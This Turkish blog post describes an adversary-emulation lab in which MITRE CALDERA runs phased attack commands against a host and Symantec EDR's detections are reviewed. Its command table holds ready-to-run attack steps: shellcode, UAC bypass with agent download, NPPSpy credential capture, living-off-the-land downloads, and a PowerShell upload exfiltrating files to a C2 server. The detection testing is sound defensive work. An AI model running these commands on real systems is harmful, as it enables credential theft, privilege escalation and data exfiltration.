Skip to content

Symantec EDR – MITRE Caldera Olimpiyatları

Merhabalar,
Bugün Red Team – Blue Team operasyonlarında sıklıkla kullanılan, MITRE tarafından geliştirilen CALDERA yı kurcaladım. Aşağıda bulunan MITRE TTP tablosundan referanslar alarak kendi kumpanyamı kurdum. Ardından Symantec EDR ile CALDERA agent’ı tarafından başarıyla çalıştırılmış olan komutları inceleyeceğim.

Olympics De GIF - Olympics De Vanna GIFs

Oluşturduğum APT Metas aşağıdaki TTP’lere denk gelecek komutları işleyecek. Bunları faz faz belirli bir mantık çerçevesinde ayırdım. Aşağıdaki tabloda hangi teknik, tatik prosedüre denk geldiğini ve o işlemi yapmak için hangi komutların kullanılacağını bulabilirsiniz. Powershell, CMD ve 3rd party lib’ler kullanarak çalıştıracak bu komutları. 3rd part toolları kendisi raw.github’dan indiriyor.

Name:Description:Tactic:Technique:Technique:Command:
Phase 1 
Password PolicyPassword Policy DiscoverydiscoveryPassword Policy DiscoveryT1201net accounts
Network Service ScanningScans the local network for common open portsdiscoveryNetwork Service ScanningT1046$local_addr = (Get-NetIPConfiguration | Where-Object {$_.NetAdapter.Status -ne “Disconnected” }).IPv4Address.IPAddress;$temp = $local_addr.split(‘.’)[0..2];$construct = $temp[0] + ‘.’ + $temp[1] + ‘.’ + $temp[2] + “.”;1..255 | % { $a = $_; write-host “——“; write-host “$construct$a”;22,53,80,445 | % { $socket = new-object system.net.sockets.tcpclient;$Connection = $socket.beginconnect(“$construct$a”, $_, $null, $null);$Connection.AsyncWaitHandle.waitOne(50,$false) | out-null;if ($socket.connected -eq $true) { echo “Port $_ is open!”};$socket.Close | Out-Null; }}
Account Discovery (all)The net utility is executed via cmd to enumerate domain user accounts.discoveryAccount DiscoveryT1087net user /domain
Discover domain controllerIdentify the remote domain controllersdiscoveryRemote System DiscoveryT1018nltest /dclist:%USERDOMAIN%
Find OS VersionFind OS VersiondiscoverySystem Information DiscoveryT1082[environment]::OSVersion.Version
List Open Egress PortsThis is to test for what ports are open outbound.  The technique used was taken from the following blog:https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/Upon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\open-ports.txt.redcanarySystem Network Configuration DiscoveryT1016$ports = Get-content #{port_file}$file = “#{output_file}”$totalopen = 0$totalports = 0New-Item $file -Forceforeach ($port in $ports) {    $test = new-object system.Net.Sockets.TcpClient    $wait = $test.beginConnect(“allports.exposed”, $port, $null, $null)    $wait.asyncwaithandle.waitone(250, $false) | Out-Null    $totalports++ | Out-Null    if ($test.Connected) {        $result = “$port open”         Write-Host -ForegroundColor Green $result        $result | Out-File -Encoding ASCII -append $file        $totalopen++ | Out-Null    }    else {        $result = “$port closed”         Write-Host -ForegroundColor Red $result        $totalclosed++ | Out-Null        $result | Out-File -Encoding ASCII -append $file    }}$results = “There were a total of $totalopen open ports out of $totalports ports tested.”$results | Out-File -Encoding ASCII -append $fileWrite-Host $results
Discover antivirus programsIdentify AVdiscoverySecurity Software DiscoveryT1063wmic /NAMESPACE:\\root\SecurityCenter2 PATH AntiVirusProduct GET /value
View admin sharesNetwork Share DiscoverydiscoveryNetwork Share DiscoveryT1135Get-SmbShare | ConvertTo-Json
Phase 2 
Spawn calculator (shellcode)Start a new calculator processexecutionCommand-Line InterfaceT10590x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3
Bypass ExecutionPolicyEnsure the ExecutionPolicy is turned to Bypassdefense-evasionScriptingT1064et-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell -Name ExecutionPolicy -Value ByPass;        $shell = New-Object -ComObject Wscript.Shell        Set-ExecutionPolicy Bypass | echo $shell.sendkeys(“Y`r`n”)
WMIC Process EnumerationCapture process id, executable path, pid and parent pid before writing to diskcollectionWMICT1047wmic process get executablepath,name,processid,parentprocessid >> $env:APPDATA\vmtools.log;cat $env:APPDATA\vmtools.log
cmd.exe information gatheringUser enumerationcollectionPowerShellT1086cmd.exe /c “net user” >> C:\Windows\temp\history.log;cmd.exe /c “whoami /priv” >> C:\Windows\temp\history.log;cmd.exe /c “netstat -ano” >> C:\Windows\temp\history.log;
Phase 3
Replace a service binary with alternate binaryThis is an example technique. snmptrap.exe should be changed in the commandbelow with the new desired service binary. Depending on the value ofhost.service.modifiable this ability can damage the target system.persistenceModify Existing ServiceT1031$s = Get-Service -Name #{host.service.modifiable};if ($s.status -ne ‘Stopped’) { Stop-Service $s };$exe = (Get-ItemProperty -Path “HKLM:\System\CurrentControlSet\Services\#{host.service.modifiable}”).ImagePath.split()[0];$path = (Resolve-Path $exe).Path;Copy-Item -Path $path -Destination ($path + “.saved”);Copy-Item -Path “C:\Windows\System32\snmptrap.exe” -Destination $path
Phase 4 
Bypass UAC MediumBypass user account controls – mediumprivilege-escalationBypass User Account ControlT1088$url=”#{server}/file/download”; $wc=New-Object System.Net.WebClient; $wc.Headers.add(“platform”,”windows”); $wc.Headers.add(“file”,”sandcat.go”); $data=$wc.DownloadData($url); $name=$wc.ResponseHeaders[“Content-Disposition”].Substring($wc.ResponseHeaders[“Content-Disposition”].IndexOf(“filename=”)+9).Replace(“`””,””); [io.file]::WriteAllBytes(“C:\Users\Public\$name.exe”,$data);$job = Start-Job -ScriptBlock { Import-Module -Name .\Bypass-UAC.ps1; Bypass-UAC -Command “C:\Users\Public\$name.exe -group #{group}”; };Receive-Job -Job $job -Wait;
duser/osksupport DLL HijackUIPI bypass with uiAccess applicationprivilege-escalationBypass User Account ControlT1088$url=”#{server}/file/download”;$wc=New-Object System.Net.WebClient;$wc.Headers.add(“platform”,”windows”);$wc.Headers.add(“file”,”sandcat.go”);$wc.Headers.add(“server”,”#{server}”);$wc.Headers.add(“defaultSleep”,”60″);$wc.Headers.add(“defaultGroup”,”bypassed_u_bro”);$data=$wc.DownloadData($url);$name=$wc.ResponseHeaders[“Content-Disposition”].Substring($wc.ResponseHeaders[“Content-Disposition”].IndexOf(“filename=”)+9).Replace(“`””,””);[io.file]::WriteAllBytes(“C:\Users\Public\$name.exe”,$data);.\Akagi64.exe 32 “C:\Users\Public\$name.exe -server #{server}”
Phase 5 – CredDump
Credentials in RegistrySearch for possible credentials stored in the HKLM Hivecredential-accessCredential DumpingT1003reg query HKLM /f password /t REG_SZ /s
Credential Dumping with NPPSpyChanges ProviderOrder Registry Key Parameter and creates Key for NPPSpy.After user’s logging in cleartext password is saved in C:\NPPSpy.txt.Clean up deletes the files and reverses Registry changes.NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpyredcanaryOS Credential DumpingT1003Copy-Item “$env:Temp\NPPSPY.dll” -Destination “C:\Windows\System32″$path = Get-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order” -Name PROVIDERORDER$UpdatedValue = $Path.PROVIDERORDER + “,NPPSpy”Set-ItemProperty -Path $Path.PSPath -Name “PROVIDERORDER” -Value $UpdatedValue$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name “Class” -Value 2 -ErrorAction Ignore$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name “Name” -Value NPPSpy -ErrorAction Ignore$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name “ProviderPath” -PropertyType ExpandString -Value “%SystemRoot%\System32\NPPSPY.dll” -ErrorAction Ignoreecho “[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt”
Phase 6  – Lateral Movement
Windows – PowerShell DownloadThis test uses PowerShell to download a payload.This technique is used by multiple adversaries and malware families.redcanaryIngress Tool TransferT1105(New-Object System.Net.WebClient).DownloadFile(“#{remote_file}”, “#{destination_path}”)
certutil dowcertutil download (verifyctl)Use certutil -verifyctl argument to download a file from the web. Note – /verifyctl also works!redcanaryIngress Tool TransferT1105$datePath = “certutil-$(Get-Date -format yyyy_MM_dd)”New-Item -Path $datePath -ItemType DirectorySet-Location $datePathcertutil -verifyctl -split -f #{remote_file}Get-ChildItem | Where-Object {$_.Name -notlike “*.txt”} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
Download a File with Windows Defender MpCmdRun.exeUses the Windows Defender to download a file from the internet (must have version 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9 installed).The input arguments “remote_file” and “local_path” can be used to specify the download URL and the name of the output file.By default, the test downloads the Atomic Red Team license file to the temp directory.More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/redcanaryIngress Tool TransferT1105cd “%ProgramData%\Microsoft\Windows Defender\platform\4.18*”MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}
Net useMounts a network file share on a target computerlateral-movementWindows Admin SharesT1077net use \\#{remote.host.ip}\c$ /user:#{domain.user.name} #{domain.user.password};
Phase 7  – Command and Control
Leave noteCreate a text file for the user to findcommand-and-controlRemote File CopyT1105echo “proof that this machine was hacked.” > message.txt
svchost writing a file to a UNC pathsvchost.exe writing a non-Microsoft Office file to a file with a UNC path.Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.redcanaryIngress Tool TransferT1105copy C:\Windows\System32\cmd.exe C:\svchost.exeC:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt
Phase 8 -Exfiltration
Exfil staged directoryExfil the staged directoryexfiltrationExfiltration Over Command and Control ChannelT1041$ErrorActionPreference = ‘Stop’;$fieldName = ‘#{host.dir.compress}’;$filePath = ‘#{host.dir.compress}’;$url = “#{server}/file/upload”;Add-Type -AssemblyName ‘System.Net.Http’;$client = New-Object System.Net.Http.HttpClient;$content = New-Object System.Net.Http.MultipartFormDataContent;$fileStream = [System.IO.File]::OpenRead($filePath);$fileName = [System.IO.Path]::GetFileName($filePath);$fileContent = New-Object System.Net.Http.StreamContent($fileStream);$content.Add($fileContent, $fieldName, $fileName);$client.DefaultRequestHeaders.Add(“X-Request-Id”, $env:COMPUTERNAME + ‘-#{paw}’);$client.DefaultRequestHeaders.Add(“User-Agent”,”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36″);$result = $client.PostAsync($url, $content).Result;$result.EnsureSuccessStatusCode();
Compress staged directoryCompress a directory on the file systemexfiltrationData CompressedT1002Compress-

Hareketlerin SEP tarafından çalışması engellenmemesi için olabildiğince tüm politikalar sadece log only-leave alone olarak ayarladım.

Komutlar Obfuscated çalışacak ve gerçeğe yakınlaştırmak için faz faz, sıra sıra çalışacak şekilde ayarlandı.

arap yağı bol bulunca

Operasyonu başlatıp yazıya başlamıştım, şu ana kadar %14’ü tamamlanmış. Sol tarafında yeşil halka olanlar komut başarıyla çalışmış, kırmızı olanlar hata almış anlamına geliyor.

Sağ tarafta bulunan yıldılar, parlak olanlarda çalışan komutlardan başarıyla cevap alabildiğiniz anlama geliyor.

Çalışan komut Base64

powershell -Enc bgBsAHQAZQBzAHQAIAAvAGQAYwBsAGkAcwB0ADoAJQBVAFMARQBSAEQATwBNAEEASQBOACUA


Peki Symantec EDR Neler yapmış?

via GIPHY

Beklemekten sıkıldığım için Operasyon %60 civarlarında neler oldu diye bakmaya başladım. Client ile ilgili 3 adet vaka alarmı gördüm.
EDR Client’ı High Risk altında görmüş, Normal bir müdahale sürecinde client’ı Isolate edip, dump başlattıktan sonra vakaları inceyelebilirsiniz, vakaları oluşturan kendim olduğum için hiç şimdilik o toplara girmiyorum.

EDR benim için vakaları oluşma sürecinden bağımsız olası etkilerine göre önceliklendirmiş durumda. Önceliği high olan vakalardan biriyle bakmaya başlayacağım.

Sakarsakir Replik GIF - Sakarsakir Replik Kemal GIFs


Ilk vaka’nın üzerine tıkladığımda beni Synapse Engine’i ile hazırlanmış bir şema karşılıyor
Şemada Caldera ajanı Super_Scary_txt.exe’yi, Onun Powershell ile etkileşimini, powershell üzerinden hangi işlemleri yaptığını veya direk olarak explorer.exe ile iletişime geçtiğini görüyorum

Kemal Sunal GIF - KemalSunal GIFs
EDR Hala bana bu zararlıyı durdurmam, silmem, tüm ağ üzerinde blacklist’e almam gibi opsiyonlar sunuyor

Sayfayı aşağıya kaydırdığımızda Events sekmesinde özet olarak oluşan activityleri görüyorum

leopar saldırısı

Ben Process Lineage kısmıyla ilgileneceğim. Process lienage kısmında hangi process kimi çağırmış, hani parametreleri kullanmış görüyürum, base64 encoded çalışan komutların decode edilmiş halleride görünmekte. Syntax hatalı çalışan komutlarda gözüme çarptı, Agent kaynaklı onlar, caldera arayüzünde fail olarak işaretlenmiş durumda.

via Gfycat


nereye gitsem buraya mı gitsem oraya mı gitsem

Aşağıdaki görselde, yukardaki tabloda Phase 1 4.Sırada bulunan “Discover domain controller” için çalışan komutun detayını görebiliyoruz. Komut Powershell üzerinden Obfuscated olarak çalıştırılmış, Decode hali de aktive içerisine kaydedilmiş, en altta MITRE mapping i Discovery – Remote System Discovery olarak sınıflandırılmış.

Aşağıdaki görselde Tablomuzda Phase4’te bulunan Bypass UAC’yi inceledim. Tablomuzdan farklı bir sonuçla karşılaştım, Çalışan komutu satır satır görebiliyorum fakat teknik_id bizimkinden farklı olarak T1548 olarak map’lenmiş. Üzerine tıklatığımızda sebebini görüyoruz. Caldera orada biraz eski kalmış sanırım

WMI üzerinden yaptırdığımız AV Discovery

Powershell ile Procdump indirip, dump aldırdığımız senaryo

Procdump’ın detayına gittiğimizde başka hangi vakalarda görüldüğü, hangi clientlarda bulunduğu, oluşturduğu process dump’ı, sandbox’a submit etme seçeneği, VirusTotal’de diğer üreticilerin denetimlerinin sonucunu veya local’imize alıp daha detaylı analiz yapmamız için seçenelerler sunuyor.

Bulduğu endpoint üzerinde Behavior olarak işaretlemiş

File Attributes’dan bize PE hakkında daha detaylı bilgiler sunmakta


Related Events sekmesinden tüm harekelerini görüyoruz

Uzaktan PowerShellMafia indirip, CredDump yaptığı senaryo

C&C Phase 6 txt olarak bıraktığımız “bu makine hacklenmiştir” notuna bakalım

via GIPHY

Isterseniz Mavi olarak linklenmiş message.txt üzerine tıklayıp, hash detaylarına, başka hangi clientlarda olduğuna bakabilirsiniz

Aynı aktivite AMSI Event’i olarak da kayıtlara düşmüş durumda

Caldera’dan kontrol ettiğimde çalışmayan “ability”/komutlar gördüm, bunların sebebini bilmiyorum, 🤷‍♂️ , zaman bulursam bir sonraki yazıda Caldera Troubleshooting yapar nedenlerini araştırırım. Çalışan tüm komutların eventlere düştüğünü gördüm, sizlere fikir verebilmesi için bağzılarını paylaştım burada.

Bu arada hunting yaparken Signature’ı olmayan uygulamalar sorgusu yaparken 2 client’ımda birden “hxtsr.exe” diye bir uygulama buldum. Nedir ne değildir hiçbir fikrim yok. Belki önceki testlerimde biryerlerden download ettiğim zararlılardan kalmadır.

event_actor.signature_level_id:0

Ilk olarak Deny list’e ekledim ve VirusTotal’e submit edip diğer üreticilerin değerlemelerini görmek istedim. Buarada oluşturduğu eventlerher hep aynı, Process Launch/Terminate, öncesinde bir kaç Network Event’i var. Beni kıllandıranda o oldu.

Mehmet Karahanli GIF - Mehmet Karahanli Kalem GIFs

VirusTotal’den elime birşey geçmedi, kimse tanımıyor bu uygulamayı fakat community’de 1 yorum var.

Inek Şaban GIF - InekSaban Hababam KemalSunal GIFs



Sandbox’a submit ettim. Cynic Cloud sandbox sonuçları aşağıdaki gibi

Inek Şaban GIF - InekSaban KemalSunal Hababam GIFs

Bu kadar araştırma yetmez, Process Dump’ı istedim birde. ProcessDump’ta canımı sıkan DLL isimleri gördüm. DUMP’ı export alıp aşağıya ekliyorum, detaylı incelemek isteyen kullanabilir.

Kemal Sunal GIF - KemalSunal GIFs
Aban Saban GIF - Aban Saban Hi GIFs
Bir sonraki yazıda görüşmek üzere
Published inEndpoint Security